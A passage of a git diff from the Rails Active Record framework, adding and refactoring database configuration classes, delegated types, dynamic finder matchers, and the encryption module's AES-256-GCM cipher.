+        configuration_hash[:schema_cache_path]
+      end
+
+      def default_schema_cache_path(db_dir = "db")
+        if primary?
+          File.join(db_dir, "schema_cache.yml")
+        else
+          File.join(db_dir, "#{name}_schema_cache.yml")
+        end
+      end
+
+      def lazy_schema_cache_path
+        schema_cache_path || default_schema_cache_path
+      end
+
+      def primary? # :nodoc:
+        Base.configurations.primary?(name)
+      end
+
+      # Determines whether the db:prepare task should seed the database from db/seeds.rb.
+      #
+      # If the `seeds` key is present in the config, `seeds?` will return its value.  Otherwise, it
+      # will return `true` for the primary database and `false` for all other configs.
+      def seeds?
+        configuration_hash.fetch(:seeds, primary?)
+      end
+
+      # Determines whether to dump the schema/structure files and the filename that
+      # should be used.
+      #
+      # If `configuration_hash[:schema_dump]` is set to `false` or `nil` the schema
+      # will not be dumped.
+      #
+      # If the config option is set that will be used. Otherwise Rails will generate
+      # the filename from the database config name.
+      def schema_dump(format = schema_format)
+        if configuration_hash.key?(:schema_dump)
+          if config = configuration_hash[:schema_dump]
+            config
+          end
+        elsif primary?
+          schema_file_type(format)
+        else
+          "#{name}_#{schema_file_type(format)}"
+        end
+      end
+
+      def schema_format # :nodoc:
+        format = configuration_hash.fetch(:schema_format, ActiveRecord.schema_format).to_sym
+        raise "Invalid schema format" unless [:ruby, :sql].include?(format)
+        format
+      end
+
+      def database_tasks? # :nodoc:
+        !replica? && !!configuration_hash.fetch(:database_tasks, true)
+      end
+
+      def use_metadata_table? # :nodoc:
+        configuration_hash.fetch(:use_metadata_table, true)
+      end
+
+      private
+        def schema_file_type(format)
+          case format.to_sym
+          when :ruby
+            "schema.rb"
+          when :sql
+            "structure.sql"
+          end
+        end
+
+        def default_reaping_frequency
+          # Reap every 20 seconds by default, but run more often as necessary to
+          # meet other configured timeouts.
+          [20, idle_timeout, max_age, keepalive].compact.min
+        end
+
+        def validate_configuration!
+          if configuration_hash[:pool] && configuration_hash[:max_connections]
+            pool_val = configuration_hash[:pool].to_i
+            max_conn_val = configuration_hash[:max_connections].to_i
+
+            if pool_val != max_conn_val
+              raise "Ambiguous configuration: 'pool' (#{pool_val}) and 'max_connections' (#{max_conn_val}) are set to different values. Prefer just 'max_connections'."
+            end
+          end
+
+          if configuration_hash[:pool] && configuration_hash[:min_connections]
+            raise "Ambiguous configuration: when setting 'min_connections', use 'max_connections' instead of 'pool'."
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/database_configurations/url_config.rb b/activerecord/lib/active_record/database_configurations/url_config.rb
new file mode 100644
index 0000000000000..5010c35cfcbc3
--- /dev/null
+++ b/activerecord/lib/active_record/database_configurations/url_config.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class DatabaseConfigurations
+    # = Active Record Database Url Config
+    #
+    # A +UrlConfig+ object is created for each database configuration
+    # entry that is created from a URL. This can either be a URL string
+    # or a hash with a URL in place of the config hash.
+    #
+    # A URL config:
+    #
+    #   postgres://localhost/foo
+    #
+    # Becomes:
+    #
+    #   #<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fdc3238f340
+    #     @env_name="default_env", @name="primary",
+    #     @config={adapter: "postgresql", database: "foo", host: "localhost"},
+    #     @url="postgres://localhost/foo">
+    #
+    # See ActiveRecord::DatabaseConfigurations for more info.
+    #
+    class UrlConfig < HashConfig
+      attr_reader :url
+
+      # Initialize a new +UrlConfig+ object
+      #
+      # ==== Options
+      #
+      # * <tt>:env_name</tt> - The \Rails environment, i.e. "development".
+      # * <tt>:name</tt> - The db config name. In a standard two-tier
+      #   database configuration this will default to "primary". In a multiple
+      #   database three-tier database configuration this corresponds to the name
+      #   used in the second tier, for example "primary_readonly".
+      # * <tt>:url</tt> - The database URL.
+      # * <tt>:config</tt> - The config hash. This is the hash that contains the
+      #   database adapter, name, and other important information for database
+      #   connections.
+      def initialize(env_name, name, url, configuration_hash = {})
+        super(env_name, name, configuration_hash)
+
+        @url = url
+        @configuration_hash = @configuration_hash.merge(build_url_hash)
+
+        if @configuration_hash[:schema_dump] == "false"
+          @configuration_hash[:schema_dump] = false
+        end
+
+        query_cache = parse_query_cache
+        @configuration_hash[:query_cache] = query_cache unless query_cache.nil?
+
+        to_boolean!(@configuration_hash, :replica)
+        to_boolean!(@configuration_hash, :database_tasks)
+
+        @configuration_hash.freeze
+      end
+
+      private
+        def parse_query_cache
+          case value = @configuration_hash[:query_cache]
+          when /\A\d+\z/
+            value.to_i
+          when "false"
+            false
+          else
+            value
+          end
+        end
+
+        def to_boolean!(configuration_hash, key)
+          if configuration_hash[key].is_a?(String)
+            configuration_hash[key] = configuration_hash[key] != "false"
+          end
+        end
+
+        # Return a Hash that can be merged into the main config that represents
+        # the passed in url
+        def build_url_hash
+          if url.nil? || url.start_with?("jdbc:", "http:", "https:")
+            { url: url }
+          else
+            ConnectionUrlResolver.new(url).to_hash
+          end
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/define_callbacks.rb b/activerecord/lib/active_record/define_callbacks.rb
deleted file mode 100644
index 7d955a24bedce..0000000000000
--- a/activerecord/lib/active_record/define_callbacks.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-module ActiveRecord
-  # This module exists because `ActiveRecord::AttributeMethods::Dirty` needs to
-  # define callbacks, but continue to have its version of `save` be the super
-  # method of `ActiveRecord::Callbacks`. This will be removed when the removal
-  # of deprecated code removes this need.
-  module DefineCallbacks
-    extend ActiveSupport::Concern
-
-    module ClassMethods # :nodoc:
-      include ActiveModel::Callbacks
-    end
-
-    included do
-      include ActiveModel::Validations::Callbacks
-
-      define_model_callbacks :initialize, :find, :touch, only: :after
-      define_model_callbacks :save, :create, :update, :destroy
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/delegated_type.rb b/activerecord/lib/active_record/delegated_type.rb
new file mode 100644
index 0000000000000..bd1e9440e1997
--- /dev/null
+++ b/activerecord/lib/active_record/delegated_type.rb
@@ -0,0 +1,279 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/inquiry"
+
+module ActiveRecord
+  # = Delegated types
+  #
+  # Class hierarchies can map to relational database tables in many ways. Active Record, for example, offers
+  # purely abstract classes, where the superclass doesn't persist any attributes, and single-table inheritance,
+  # where all attributes from all levels of the hierarchy are represented in a single table. Both have their
+  # places, but neither are without their drawbacks.
+  #
+  # The problem with purely abstract classes is that all concrete subclasses must persist all the shared
+  # attributes themselves in their own tables (also known as class-table inheritance). This makes it hard to
+  # do queries across the hierarchy. For example, imagine you have the following hierarchy:
+  #
+  #   Entry < ApplicationRecord
+  #   Message < Entry
+  #   Comment < Entry
+  #
+  # How do you show a feed that has both +Message+ and +Comment+ records, which can be easily paginated?
+  # Well, you can't! Messages are backed by a messages table and comments by a comments table. You can't
+  # pull from both tables at once and use a consistent OFFSET/LIMIT scheme.
+  #
+  # You can get around the pagination problem by using single-table inheritance, but now you're forced into
+  # a single mega table with all the attributes from all subclasses. No matter how divergent. If a Message
+  # has a subject, but the comment does not, well, now the comment does anyway! So STI works best when there's
+  # little divergence between the subclasses and their attributes.
+  #
+  # But there's a third way: Delegated types. With this approach, the "superclass" is a concrete class
+  # that is represented by its own table, where all the superclass attributes that are shared amongst all the
+  # "subclasses" are stored. And then each of the subclasses have their own individual tables for additional
+  # attributes that are particular to their implementation. This is similar to what's called multi-table
+  # inheritance in Django, but instead of actual inheritance, this approach uses delegation to form the
+  # hierarchy and share responsibilities.
+  #
+  # Let's look at that entry/message/comment example using delegated types:
+  #
+  #   # Schema: entries[ id, account_id, creator_id, entryable_type, entryable_id, created_at, updated_at ]
+  #   class Entry < ApplicationRecord
+  #     belongs_to :account
+  #     belongs_to :creator
+  #     delegated_type :entryable, types: %w[ Message Comment ]
+  #   end
+  #
+  #   module Entryable
+  #     extend ActiveSupport::Concern
+  #
+  #     included do
+  #       has_one :entry, as: :entryable, touch: true
+  #     end
+  #   end
+  #
+  #   # Schema: messages[ id, subject, body, created_at, updated_at ]
+  #   class Message < ApplicationRecord
+  #     include Entryable
+  #   end
+  #
+  #   # Schema: comments[ id, content, created_at, updated_at ]
+  #   class Comment < ApplicationRecord
+  #     include Entryable
+  #   end
+  #
+  # As you can see, neither +Message+ nor +Comment+ are meant to stand alone. Crucial metadata for both classes
+  # resides in the +Entry+ "superclass". But the +Entry+ absolutely can stand alone in terms of querying capacity
+  # in particular. You can now easily do things like:
+  #
+  #   Account.find(1).entries.order(created_at: :desc).limit(50)
+  #
+  # Which is exactly what you want when displaying both comments and messages together. The entry itself can
+  # be rendered as its delegated type easily, like so:
+  #
+  #   # entries/_entry.html.erb
+  #   <%= render "entries/entryables/#{entry.entryable_name}", entry: entry %>
+  #
+  #   # entries/entryables/_message.html.erb
+  #   <div class="message">
+  #     <div class="subject"><%= entry.message.subject %></div>
+  #     <p><%= entry.message.body %></p>
+  #     <i>Posted on <%= entry.created_at %> by <%= entry.creator.name %></i>
+  #   </div>
+  #
+  #   # entries/entryables/_comment.html.erb
+  #   <div class="comment">
+  #     <%= entry.creator.name %> said: <%= entry.comment.content %>
+  #   </div>
+  #
+  # == Sharing behavior with concerns and controllers
+  #
+  # The entry "superclass" also serves as a perfect place to put all that shared logic that applies to both
+  # messages and comments, and which acts primarily on the shared attributes. Imagine:
+  #
+  #   class Entry < ApplicationRecord
+  #     include Eventable, Forwardable, Redeliverable
+  #   end
+  #
+  # Which allows you to have controllers for things like +ForwardsController+ and +RedeliverableController+
+  # that both act on entries, and thus provide the shared functionality to both messages and comments.
+  #
+  # == Creating new records
+  #
+  # You create a new record that uses delegated typing by creating the delegator and delegatee at the same time,
+  # like so:
+  #
+  #   Entry.create! entryable: Comment.new(content: "Hello!"), creator: Current.user, account: Current.account
+  #
+  # If you need more complicated composition, or you need to perform dependent validation, you should build a factory
+  # method or class to take care of the complicated needs. This could be as simple as:
+  #
+  #   class Entry < ApplicationRecord
+  #     def self.create_with_comment(content, creator: Current.user, account: Current.account)
+  #       create! entryable: Comment.new(content: content), creator: creator, account: account
+  #     end
+  #   end
+  #
+  # == Querying across records
+  #
+  # A consequence of delegated types is that querying attributes spread across multiple classes becomes slightly more
+  # tricky, but not impossible.
+  #
+  # The simplest method is to join the "superclass" to the "subclass" and apply the query parameters (i.e. <tt>#where</tt>)
+  # in appropriate places:
+  #
+  #   Comment.joins(:entry).where(comments: { content: 'Hello!' }, entry: { creator: Current.user } )
+  #
+  # For convenience, add a scope on the concern. Now all classes that implement the concern will automatically include
+  # the method:
+  #
+  #   # app/models/concerns/entryable.rb
+  #   scope :with_entry, ->(attrs) { joins(:entry).where(entry: attrs) }
+  #
+  # Now the query can be shortened significantly:
+  #
+  #   Comment.where(content: 'Hello!').with_entry(creator: Current.user)
+  #
+  # == Adding further delegation
+  #
+  # The delegated type shouldn't just answer the question of what the underlying class is called. In fact, that's
+  # an anti-pattern most of the time. The reason you're building this hierarchy is to take advantage of polymorphism.
+  # So here's a simple example of that:
+  #
+  #   class Entry < ApplicationRecord
+  #     delegated_type :entryable, types: %w[ Message Comment ]
+  #     delegate :title, to: :entryable
+  #   end
+  #
+  #   class Message < ApplicationRecord
+  #     def title
+  #       subject
+  #     end
+  #   end
+  #
+  #   class Comment < ApplicationRecord
+  #     def title
+  #       content.truncate(20)
+  #     end
+  #   end
+  #
+  # Now you can list a bunch of entries, call <tt>Entry#title</tt>, and polymorphism will provide you with the answer.
+  #
+  # == Nested \Attributes
+  #
+  # Enabling nested attributes on a delegated_type association allows you to
+  # create the entry and message in one go:
+  #
+  #   class Entry < ApplicationRecord
+  #     delegated_type :entryable, types: %w[ Message Comment ]
+  #     accepts_nested_attributes_for :entryable
+  #   end
+  #
+  #   params = { entry: { entryable_type: 'Message', entryable_attributes: { subject: 'Smiling' } } }
+  #   entry = Entry.create(params[:entry])
+  #   entry.entryable.id # => 2
+  #   entry.entryable.subject # => 'Smiling'
+  module DelegatedType
+    # Defines this as a class that'll delegate its type for the passed +role+ to the class references in +types+.
+    # That'll create a polymorphic +belongs_to+ relationship to that +role+, and it'll add all the delegated
+    # type convenience methods:
+    #
+    #   class Entry < ApplicationRecord
+    #     delegated_type :entryable, types: %w[ Message Comment ], dependent: :destroy
+    #   end
+    #
+    #   @entry.entryable_class # => Message or Comment
+    #   @entry.entryable_name  # => "message" or "comment"
+    #   Entry.messages         # => Entry.where(entryable_type: "Message")
+    #   @entry.message?        # => true when entryable_type == "Message"
+    #   @entry.message         # => returns the message record, when entryable_type == "Message", otherwise nil
+    #   @entry.message_id      # => returns entryable_id, when entryable_type == "Message", otherwise nil
+    #   Entry.comments         # => Entry.where(entryable_type: "Comment")
+    #   @entry.comment?        # => true when entryable_type == "Comment"
+    #   @entry.comment         # => returns the comment record, when entryable_type == "Comment", otherwise nil
+    #   @entry.comment_id      # => returns entryable_id, when entryable_type == "Comment", otherwise nil
+    #
+    # You can also declare namespaced types:
+    #
+    #   class Entry < ApplicationRecord
+    #     delegated_type :entryable, types: %w[ Message Comment Access::NoticeMessage ], dependent: :destroy
+    #   end
+    #
+    #   Entry.access_notice_messages
+    #   @entry.access_notice_message
+    #   @entry.access_notice_message?
+    #
+    # ==== Options
+    #
+    # The +options+ are passed directly to the +belongs_to+ call, so this is where you declare +dependent+ etc.
+    # The following options can be included to specialize the behavior of the delegated type convenience methods.
+    #
+    # [+:foreign_key+]
+    #   Specify the foreign key used for the convenience methods. By default this is guessed to be the passed
+    #   +role+ with an "_id" suffix. So a class that defines a
+    #   <tt>delegated_type :entryable, types: %w[ Message Comment ]</tt> association will use "entryable_id" as
+    #   the default <tt>:foreign_key</tt>.
+    # [+:foreign_type+]
+    #   Specify the column used to store the associated object's type. By default this is inferred to be the passed
+    #   +role+ with a "_type" suffix. A class that defines a
+    #   <tt>delegated_type :entryable, types: %w[ Message Comment ]</tt> association will use "entryable_type" as
+    #   the default <tt>:foreign_type</tt>.
+    # [+:primary_key+]
+    #   Specify the method that returns the primary key of associated object used for the convenience methods.
+    #   By default this is +id+.
+    #
+    # Option examples:
+    #   class Entry < ApplicationRecord
+    #     delegated_type :entryable, types: %w[ Message Comment ], primary_key: :uuid, foreign_key: :entryable_uuid
+    #   end
+    #
+    #   @entry.message_uuid # => returns entryable_uuid, when entryable_type == "Message", otherwise nil
+    #   @entry.comment_uuid # => returns entryable_uuid, when entryable_type == "Comment", otherwise nil
+    def delegated_type(role, types:, **options)
+      belongs_to role, options.delete(:scope), **options, polymorphic: true
+      define_delegated_type_methods role, types: types, options: options
+    end
+
+    private
+      def define_delegated_type_methods(role, types:, options:)
+        primary_key = options[:primary_key] || "id"
+        role_type = options[:foreign_type] || "#{role}_type"
+        role_id   = options[:foreign_key] || "#{role}_id"
+
+        define_singleton_method "#{role}_types" do
+          types.map(&:to_s)
+        end
+
+        define_method "#{role}_class" do
+          public_send(role_type).constantize
+        end
+
+        define_method "#{role}_name" do
+          public_send("#{role}_class").model_name.singular.inquiry
+        end
+
+        define_method "build_#{role}" do |*params|
+          public_send("#{role}=", public_send("#{role}_class").new(*params))
+        end
+
+        types.each do |type|
+          scope_name = type.tableize.tr("/", "_")
+          singular   = scope_name.singularize
+          query      = "#{singular}?"
+
+          scope scope_name, -> { where(role_type => type) }
+
+          define_method query do
+            public_send(role_type) == type
+          end
+
+          define_method singular do
+            public_send(role) if public_send(query)
+          end
+
+          define_method "#{singular}_#{primary_key}" do
+            public_send(role_id) if public_send(query)
+          end
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/deprecator.rb b/activerecord/lib/active_record/deprecator.rb
new file mode 100644
index 0000000000000..aa2629650b649
--- /dev/null
+++ b/activerecord/lib/active_record/deprecator.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  def self.deprecator # :nodoc:
+    @deprecator ||= ActiveSupport::Deprecation.new
+  end
+end
diff --git a/activerecord/lib/active_record/destroy_association_async_job.rb b/activerecord/lib/active_record/destroy_association_async_job.rb
new file mode 100644
index 0000000000000..931442f95d25d
--- /dev/null
+++ b/activerecord/lib/active_record/destroy_association_async_job.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class DestroyAssociationAsyncError < StandardError
+  end
+
+  # = Active Record Destroy Association Async Job
+  #
+  # Job to destroy the records associated with a destroyed record in background.
+  class DestroyAssociationAsyncJob < ActiveJob::Base
+    queue_as { ActiveRecord.queues[:destroy] }
+
+    discard_on ActiveJob::DeserializationError
+
+    def perform(
+      owner_model_name: nil, owner_id: nil,
+      association_class: nil, association_ids: nil, association_primary_key_column: nil,
+      ensuring_owner_was_method: nil
+    )
+      association_model = association_class.constantize
+      owner_class = owner_model_name.constantize
+      owner = owner_class.find_by(owner_class.primary_key => [owner_id])
+
+      if !owner_destroyed?(owner, ensuring_owner_was_method)
+        raise DestroyAssociationAsyncError, "owner record not destroyed"
+      end
+
+      association_model.where(association_primary_key_column => association_ids).find_each do |r|
+        r.destroy
+      end
+    end
+
+    private
+      def owner_destroyed?(owner, ensuring_owner_was_method)
+        !owner || (ensuring_owner_was_method && owner.public_send(ensuring_owner_was_method))
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/disable_joins_association_relation.rb b/activerecord/lib/active_record/disable_joins_association_relation.rb
new file mode 100644
index 0000000000000..c5067034d2ffe
--- /dev/null
+++ b/activerecord/lib/active_record/disable_joins_association_relation.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class DisableJoinsAssociationRelation < Relation # :nodoc:
+    attr_reader :ids, :key
+
+    def initialize(klass, key, ids)
+      @ids = ids.uniq
+      @key = key
+      super(klass)
+    end
+
+    def limit(value)
+      records.take(value)
+    end
+
+    def first(limit = nil)
+      if limit
+        records.limit(limit).first
+      else
+        records.first
+      end
+    end
+
+    def load
+      super
+      records = @records
+
+      records_by_id = records.group_by do |record|
+        record[key]
+      end
+
+      records = ids.flat_map { |id| records_by_id[id] }
+      records.compact!
+
+      @records = records
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/dynamic_matchers.rb b/activerecord/lib/active_record/dynamic_matchers.rb
index 08d42f3dd460c..f9009c41b3352 100644
--- a/activerecord/lib/active_record/dynamic_matchers.rb
+++ b/activerecord/lib/active_record/dynamic_matchers.rb
@@ -1,121 +1,105 @@
+# frozen_string_literal: true
 
 module ActiveRecord
-  module DynamicMatchers #:nodoc:
-    def respond_to_missing?(name, include_private = false)
-      if self == Base
-        super
-      else
-        match = Method.match(self, name)
-        match && match.valid? || super
-      end
-    end
-
+  module DynamicMatchers # :nodoc:
     private
+      def respond_to_missing?(name, _)
+        if self == Base
+          super
+        else
+          super || begin
+            match = Method.match(name)
+            match && match.valid?(self, name)
+          end
+        end
+      end
 
-      def method_missing(name, *arguments, &block)
-        match = Method.match(self, name)
+      def method_missing(name, ...)
+        match = Method.match(name)
 
-        if match && match.valid?
-          match.define
-          send(name, *arguments, &block)
+        if match && match.valid?(self, name)
+          match.define(self, name)
+          send(name, ...)
         else
           super
         end
       end
 
       class Method
-        @matchers = []
-
         class << self
-          attr_reader :matchers
-
-          def match(model, name)
-            klass = matchers.find { |k| k.pattern.match?(name) }
-            klass.new(model, name) if klass
+          def match(name)
+            FindBy.match?(name) || FindByBang.match?(name)
           end
 
-          def pattern
-            @pattern ||= /\A#{prefix}_([_a-zA-Z]\w*)#{suffix}\Z/
+          def valid?(model, name)
+            attribute_names(model, name.to_s).all? { |name| model.columns_hash[name] || model.reflect_on_aggregation(name.to_sym) }
           end
 
-          def prefix
-            raise NotImplementedError
+          def define(model, name)
+            model.class_eval <<-CODE, __FILE__, __LINE__ + 1
+            def self.#{name}(#{signature(model, name)})
+              #{body(model, name)}
+            end
+            CODE
           end
 
-          def suffix
-            ""
-          end
-        end
+          private
+            def make_pattern(prefix, suffix)
+              /\A#{prefix}_([_a-zA-Z]\w*)#{suffix}\Z/
+            end
 
-        attr_reader :model, :name, :attribute_names
+            def attribute_names(model, name)
+              attribute_names = name.match(pattern)[1].split("_and_")
+              attribute_names.map! { |name| model.attribute_aliases[name] || name }
+            end
 
-        def initialize(model, name)
-          @model           = model
-          @name            = name.to_s
-          @attribute_names = @name.match(self.class.pattern)[1].split("_and_")
-          @attribute_names.map! { |n| @model.attribute_aliases[n] || n }
-        end
+            def body(model, method_name)
+              "#{finder}(#{attributes_hash(model, method_name)})"
+            end
 
-        def valid?
-          attribute_names.all? { |name| model.columns_hash[name] || model.reflect_on_aggregation(name.to_sym) }
-        end
+            # The parameters in the signature may have reserved Ruby words, in order
+            # to prevent errors, we start each param name with `_`.
+            def signature(model, method_name)
+              attribute_names(model, method_name.to_s).map { |name| "_#{name}" }.join(", ")
+            end
 
-        def define
-          model.class_eval <<-CODE, __FILE__, __LINE__ + 1
-            def self.#{name}(#{signature})
-              #{body}
+            # Given that the parameters starts with `_`, the finder needs to use the
+            # same parameter name.
+            def attributes_hash(model, method_name)
+              "{" + attribute_names(model, method_name).map { |name| ":#{name} => _#{name}" }.join(",") + "}"
             end
-          CODE
         end
+      end
 
-        private
-
-          def body
-            "#{finder}(#{attributes_hash})"
-          end
+      class FindBy < Method
+        @pattern = make_pattern("find_by", "")
 
-          # The parameters in the signature may have reserved Ruby words, in order
-          # to prevent errors, we start each param name with `_`.
-          def signature
-            attribute_names.map { |name| "_#{name}" }.join(", ")
-          end
+        class << self
+          attr_reader :pattern
 
-          # Given that the parameters starts with `_`, the finder needs to use the
-          # same parameter name.
-          def attributes_hash
-            "{" + attribute_names.map { |name| ":#{name} => _#{name}" }.join(",") + "}"
+          def match?(name)
+            pattern.match?(name) && self
           end
 
           def finder
-            raise NotImplementedError
+            "find_by"
           end
-      end
-
-      class FindBy < Method
-        Method.matchers << self
-
-        def self.prefix
-          "find_by"
-        end
-
-        def finder
-          "find_by"
         end
       end
 
       class FindByBang < Method
-        Method.matchers << self
+        @pattern = make_pattern("find_by", "!")
 
-        def self.prefix
-          "find_by"
-        end
+        class << self
+          attr_reader :pattern
 
-        def self.suffix
-          "!"
-        end
+          def match?(name)
+            pattern.match?(name) && self
+          end
 
-        def finder
-          "find_by!"
+          def finder
+            "find_by!"
+          end
         end
       end
   end
diff --git a/activerecord/lib/active_record/encryption.rb b/activerecord/lib/active_record/encryption.rb
new file mode 100644
index 0000000000000..606047e40a9a8
--- /dev/null
+++ b/activerecord/lib/active_record/encryption.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module"
+require "active_support/core_ext/array"
+
+module ActiveRecord
+  module Encryption
+    extend ActiveSupport::Autoload
+
+    eager_autoload do
+      autoload :AutoFilteredParameters
+      autoload :Cipher
+      autoload :Config
+      autoload :Configurable
+      autoload :Context
+      autoload :Contexts
+      autoload :DerivedSecretKeyProvider
+      autoload :EncryptableRecord
+      autoload :EncryptedAttributeType
+      autoload :EncryptedFixtures
+      autoload :EncryptingOnlyEncryptor
+      autoload :DeterministicKeyProvider
+      autoload :Encryptor
+      autoload :EnvelopeEncryptionKeyProvider
+      autoload :Errors
+      autoload :ExtendedDeterministicQueries
+      autoload :ExtendedDeterministicUniquenessValidator
+      autoload :Key
+      autoload :KeyGenerator
+      autoload :KeyProvider
+      autoload :Message
+      autoload :MessageSerializer
+      autoload :NullEncryptor
+      autoload :Properties
+      autoload :ReadOnlyNullEncryptor
+      autoload :Scheme
+    end
+
+    class Cipher
+      extend ActiveSupport::Autoload
+
+      eager_autoload do
+        autoload :Aes256Gcm
+      end
+    end
+
+    include Configurable
+    include Contexts
+
+    def self.eager_load!
+      super
+
+      Cipher.eager_load!
+    end
+  end
+
+  ActiveSupport.run_load_hooks :active_record_encryption, Encryption
+end
diff --git a/activerecord/lib/active_record/encryption/auto_filtered_parameters.rb b/activerecord/lib/active_record/encryption/auto_filtered_parameters.rb
new file mode 100644
index 0000000000000..313c8f3ef68d3
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/auto_filtered_parameters.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    class AutoFilteredParameters
+      def initialize(app)
+        @app = app
+        @attributes_by_class = Concurrent::Map.new
+        @collecting = true
+
+        install_collecting_hook
+      end
+
+      def enable
+        apply_collected_attributes
+        @collecting = false
+      end
+
+      private
+        attr_reader :app
+
+        def install_collecting_hook
+          ActiveRecord::Encryption.on_encrypted_attribute_declared do |klass, attribute|
+            attribute_was_declared(klass, attribute)
+          end
+        end
+
+        def attribute_was_declared(klass, attribute)
+          if collecting?
+            collect_for_later(klass, attribute)
+          else
+            apply_filter(klass, attribute)
+          end
+        end
+
+        def apply_collected_attributes
+          @attributes_by_class.each do |klass, attributes|
+            attributes.each do |attribute|
+              apply_filter(klass, attribute)
+            end
+          end
+        end
+
+        def collecting?
+          @collecting
+        end
+
+        def collect_for_later(klass, attribute)
+          @attributes_by_class[klass] ||= Concurrent::Array.new
+          @attributes_by_class[klass] << attribute
+        end
+
+        def apply_filter(klass, attribute)
+          filter = [("#{klass.model_name.element}" if klass.name), attribute.to_s].compact.join(".")
+          unless excluded_from_filter_parameters?(filter)
+            app.config.filter_parameters << filter unless app.config.filter_parameters.include?(filter)
+            klass.filter_attributes += [ attribute ]
+          end
+        end
+
+        def excluded_from_filter_parameters?(filter_parameter)
+          ActiveRecord::Encryption.config.excluded_from_filter_parameters.find { |excluded_filter| excluded_filter.to_s == filter_parameter }
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/cipher.rb b/activerecord/lib/active_record/encryption/cipher.rb
new file mode 100644
index 0000000000000..c4ab197b9f16a
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/cipher.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Encryption
+    # The algorithm used for encrypting and decrypting +Message+ objects.
+    #
+    # It uses AES-256-GCM. It will generate a random IV for non deterministic encryption (default)
+    # or derive an initialization vector from the encrypted content for deterministic encryption.
+    #
+    # See +Cipher::Aes256Gcm+.
+    class Cipher
+      DEFAULT_ENCODING = Encoding::UTF_8
+
+      # Encrypts the provided text and return an encrypted +Message+.
+      def encrypt(clean_text, key:, deterministic: false)
+        cipher_for(key, deterministic: deterministic).encrypt(clean_text).tap do |message|
+          message.headers.encoding = clean_text.encoding.name unless clean_text.encoding == DEFAULT_ENCODING
+        end
+      end
+
+      # Decrypt the provided +Message+.
+      #
+      # When +key+ is an Array, it will try all the keys raising a
+      # +ActiveRecord::Encryption::Errors::Decryption+ if none works.
+      def decrypt(encrypted_message, key:)
+        try_to_decrypt_with_each(encrypted_message, keys: Array(key)).tap do |decrypted_text|
+          decrypted_text.force_encoding(encrypted_message.headers.encoding || DEFAULT_ENCODING)
+        end
+      end
+
+      def key_length
+        Aes256Gcm.key_length
+      end
+
+      def iv_length
+        Aes256Gcm.iv_length
+      end
+
+      private
+        def try_to_decrypt_with_each(encrypted_text, keys:)
+          keys.each.with_index do |key, index|
+            return cipher_for(key).decrypt(encrypted_text)
+          rescue ActiveRecord::Encryption::Errors::Decryption
+            raise if index == keys.length - 1
+          end
+        end
+
+        def cipher_for(secret, deterministic: false)
+          Aes256Gcm.new(secret, deterministic: deterministic)
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/encryption/cipher/aes256_gcm.rb b/activerecord/lib/active_record/encryption/cipher/aes256_gcm.rb
new file mode 100644
index 0000000000000..611fe5109b0b2
--- /dev/null
+++ b/activerecord/lib/active_record/encryption/cipher/aes256_gcm.rb
@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+
+require "openssl"
+
+module ActiveRecord
+  module Encryption
+    class Cipher
+      # A 256-GCM cipher.
+      #
+      # By default it will use random initialization vectors. For deterministic encryption, it will use a SHA-256 hash of
+      # the text to encrypt and the secret.
+      #
+      # See +Encryptor+
+      class Aes256Gcm
+        CIPHER_TYPE = "aes-256-gcm"
+
+        class << self
+          def key_length
+            OpenSSL::Cipher.new(CIPHER_TYPE).key_len
+          end
+
+          def iv_length
+            OpenSSL::Cipher.new(CIPHER_TYPE).iv_len
+          end
+        end
+
+        # When iv not provided, it will generate a random iv on each encryption operation (default and
+        # recommended operation)
+        def initialize(secret, deterministic: false)
+          @secret = secret
+          @deterministic = deterministic
+        end
+
+        def encrypt(clear_text)
+          # This code is extracted from +ActiveSupport::MessageEncryptor+. Not using it directly because we want to control
+          # the message format and only serialize things once at the +ActiveRecord::Encryption::Message+ level. Also, this
+          # cipher is prepared to deal with deterministic/non deterministic encryption modes.
+
+          cipher = OpenSSL::Cipher.new(CIPHER_TYPE)
+          cipher.encrypt
+          cipher.key = @secret
+
+          iv = generate_iv(cipher, clear_text)
+          cipher.iv = iv
+
+          encrypted_data = clear_text.empty? ? clear_text.dup : cipher.update(clear_text)
+          encrypted_data << cipher.final
+
+          ActiveRecord::Encryption::Message.new(payload: encrypted_data).tap do |message|
+            message.headers.iv = iv
+            message.headers.auth_tag = cipher.auth_tag
+          end
+        end
+
+        def decrypt(encrypted_message)
+          encrypted_data = encrypted_message.payload
+          iv = encrypted_message.headers.iv
+          auth_tag = encrypted_message.headers.auth_tag
+
+          # Currently the OpenSSL bindings do not raise an error if auth_tag is
+          # truncated, which would allow an attacker to easily forge it. See
+          # https://github.com/ruby/openssl/issues/63
+          raise ActiveRecord::Encryption::Errors::EncryptedContentIntegrity if auth_tag.nil? || auth_tag.bytes.length != 16
+
+          cipher = OpenSSL::Cipher.new(CIPHER_TYPE)
+
+          cipher.decrypt
+          cipher.key = @secret
+          cipher.iv = iv
+
+          cipher.auth_tag = auth_tag
+          cipher.auth_data = ""
+
+          decrypted_data = encrypted_data.empty? ? encrypted_data : cipher.update(encrypted_data)
+          decrypted_data << cipher.final
+
+          decrypted_data
+        rescue OpenSSL::Cipher::CipherError, TypeError, ArgumentError
